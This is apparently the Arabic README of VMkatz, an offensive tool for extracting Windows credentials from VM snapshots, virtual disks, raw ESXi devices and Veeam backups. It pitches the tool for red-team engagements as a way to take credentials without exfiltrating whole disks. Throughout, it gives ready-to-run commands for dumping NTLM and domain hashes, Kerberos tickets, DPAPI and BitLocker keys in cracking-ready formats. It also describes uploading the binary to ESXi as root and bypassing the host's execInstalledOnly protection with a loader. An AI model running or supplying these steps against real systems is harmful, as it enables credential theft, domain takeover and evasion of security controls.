
استخراج بيانات اعتماد Windows مباشرة من لقطات ذاكرة VM والأقراص الافتراضية
أنت في الأسبوع الثالث من مهمة فريق أحمر. تصل إلى وحدة تخزين NAS متصلة بعنقود المحاكاة الافتراضية — مئات الجيجابايت من ملفات .vmdk و.vmsn و.sav ملقاة أمامك مباشرة. لكن وصلة الشبكة لديك تعمل بسرعة 200 كيلوبايت/ثانية فقط. تسريب قرص واحد بحجم 100 جيجابايت سيستغرق ستة أيام.
وُجد VMkatz لأنك لا ينبغي أن تضطر إلى تسريب ما يمكنك قراءته في مكانه. فهو يستخرج بيانات اعتماد Windows مباشرة من ملفات الأجهزة الافتراضية — لقطات الذاكرة، والأقراص الافتراضية، ونسخ Veeam الاحتياطية: تجزئات NTLM، وتذاكر Kerberos، ومفاتيح DPAPI الرئيسية، وأسرار LSA، وNTDS.dit، ومفاتيح BitLocker، وأسرار المتصفحات.
ملف تنفيذي ثابت واحد، بحجم ~3 ميجابايت. ألقِه على مضيف ESXi، أو عقدة Proxmox، أو وحدة NAS. وجّهه إلى مجلد جهاز افتراضي وامضِ حاملًا بيانات الاعتماد، لا صور الأقراص.
جميع مزوّدي بيانات الاعتماد التسعة في SSP الذين يطبّقهم mimikatz:
| المزوّد | البيانات | ملاحظات |
|---|---|---|
| MSV1_0 | تجزئات NT/LM، SHA1 | آلية احتياطية بالمسح الفيزيائي للمدخلات المرحّلة إلى الصفحات |
| WDigest | كلمات مرور نصية صريحة | المرور على القائمة المترابطة + آلية احتياطية عبر .data |
| Kerberos | مفاتيح AES/RC4/DES، تذاكر (.kirbi/.ccache) | المرور على شجرة AVL + استخراج التذاكر من الجلسات المحرّرة |
| TsPkg | كلمات مرور نصية صريحة | جلسات RDP فقط |
| DPAPI | ذاكرة مؤقتة للمفتاح الرئيسي (GUID + مفتاح مفكوك التشفير) | مفتاح رئيسي SHA1 لفك تشفير DPAPI دون اتصال |
| SSP | بيانات اعتماد نصية صريحة | SspCredentialList في msv1_0.dll |
| LiveSSP | بيانات اعتماد نصية صريحة | يتطلب livessp.dll (نادر بعد Win8) |
| Credman | بيانات اعتماد مخزّنة | تعداد عبر جدول التجزئة + القائمة المفردة |
| CloudAP | رموز Azure AD | فارغة عادةً لتسجيل الدخول المحلي فقط |
إضافةً إلى: استخراج BitLocker FVEK من الذاكرة (مسح وسوم التجمعات بحثًا عن FVEc/Cngb).
$DPAPImk$ — الأوضاع 15300/15310/15900/15910)| الصيغة | الامتدادات | المصدر | الحالة |
|---|---|---|---|
| لقطات VMware | .vmsn + .vmem | Workstation، ESXi | مُختبَر |
| لقطات VMware المضمّنة | .vmsn (بدون .vmem) | تعليق ESXi | مُختبَر |
| حالات VirtualBox المحفوظة | .sav | VirtualBox | مُختبَر |
| حالات savevm في QEMU/KVM | تُكتشف تلقائيًا | Proxmox، QEMU | مُختبَر |
| تفريغات نواة ELF في QEMU/KVM | .elf | virsh dump | مُختبَر |
| حالات Hyper-V المحفوظة | .vmrs | Hyper-V 2016+ | مُختبَر |
| نسخ Veeam الاحتياطية | .vbk، .vib، .vrb | Veeam B&R | مُختبَر |
| الأقراص الافتراضية لـ VMware | .vmdk (sparse + flat) | Workstation، ESXi | مُختبَر |
| الأقراص الافتراضية لـ VirtualBox | .vdi | VirtualBox | مُختبَر |
| الأقراص الافتراضية لـ QEMU/KVM | .qcow2 | QEMU، Proxmox | مُختبَر |
| الأقراص الافتراضية لـ Hyper-V | .vhdx، .vhd | Hyper-V | مُختبَر |
| أجهزة SCSI الخام VMFS-5/6 | /dev/disks/... | ESXi (يتجاوز أقفال الملفات) | مُختبَر |
| أجهزة كتل LVM | /dev/... | Proxmox LVM-thin | مُختبَر |
| خلايا التسجيل الخام | SAM، SYSTEM، SECURITY | reg save | مُختبَر |
| NTDS.dit الخام | ntds.dit + SYSTEM | متحكم النطاق | مُختبَر |
| تفريغ LSASS المصغّر | .dmp | procdump، Task Manager | مُختبَر |
| مجلدات الأجهزة الافتراضية | أي مجلد | يكتشف جميع الملفات تلقائيًا | مُختبَر |
نظام التشغيل المستهدف: من Windows Server 2003 حتى Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| الصيغة | العلامة | الوصف |
|---|---|---|
text | --format text (افتراضي) | تفريغ كامل لبيانات الاعتماد مع البيانات الوصفية للجلسة |
brief | --format brief | ملخص مضغوط بسطر واحد لكل بيانات اعتماد |
ntlm | --format ntlm | صيغة pwdump بالشكل DOMAIN\user:::hash::: |
hashcat | --format hashcat | تجزئات خام: الوضع 1000 (NTLM)، 2100 (DCC2)، 15300/15900 (DPAPI) |
csv | --format csv | قابل للقراءة آليًا، جميع الحقول |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
عند تفعيل حماية VIB (execInstalledOnly)، استخدم محمّل Python — لا حاجة لتعطيل الإعداد:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
راجع docs/esxi.md للحصول على تفاصيل تجاوز VIB، والوصول إلى أجهزة VMFS الخام، والاكتشاف التلقائي.
VMkatz معياري. يمكن تمكين/تعطيل الميزات في وقت الترجمة:
| الميزة | الوصف | الافتراضي |
|---|---|---|
vmware | دعم لقطات VMware .vmsn/.vmem | نعم |
vbox | دعم حالة الحفظ .sav في VirtualBox | نعم |
qemu | تفريغ ذاكرة QEMU/KVM ELF الأساسية + Proxmox savevm | نعم |
hyperv | دعم تفريغ .vmrs/.bin/.raw في Hyper-V | نعم |
sam | استخراج القرص (SAM/LSA/DCC2) + معالجات صيغ الأقراص | نعم |
ntds.dit | استخراج NTDS.dit AD. يتطلب sam | نعم |
carve | استخراج متدهور من ذاكرة جزئية/مقتطعة | نعم |
dump | تفريغ ذاكرة العملية كـ minidump | نعم |
vmfs | محلل خام VMFS-5/6 لأجهزة ESXi SCSI. يتطلب sam | نعم |
chrome | استخراج أسرار المتصفح (Chromium + Firefox). يتطلب sam | لا |
veeam | دعم النسخ الاحتياطي Veeam VBK/VIB/VRB. يتطلب sam | لا |
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
cargo build --release --features chrome # Add chrome module
cargo build --release --features veeam # Add Veeam backup support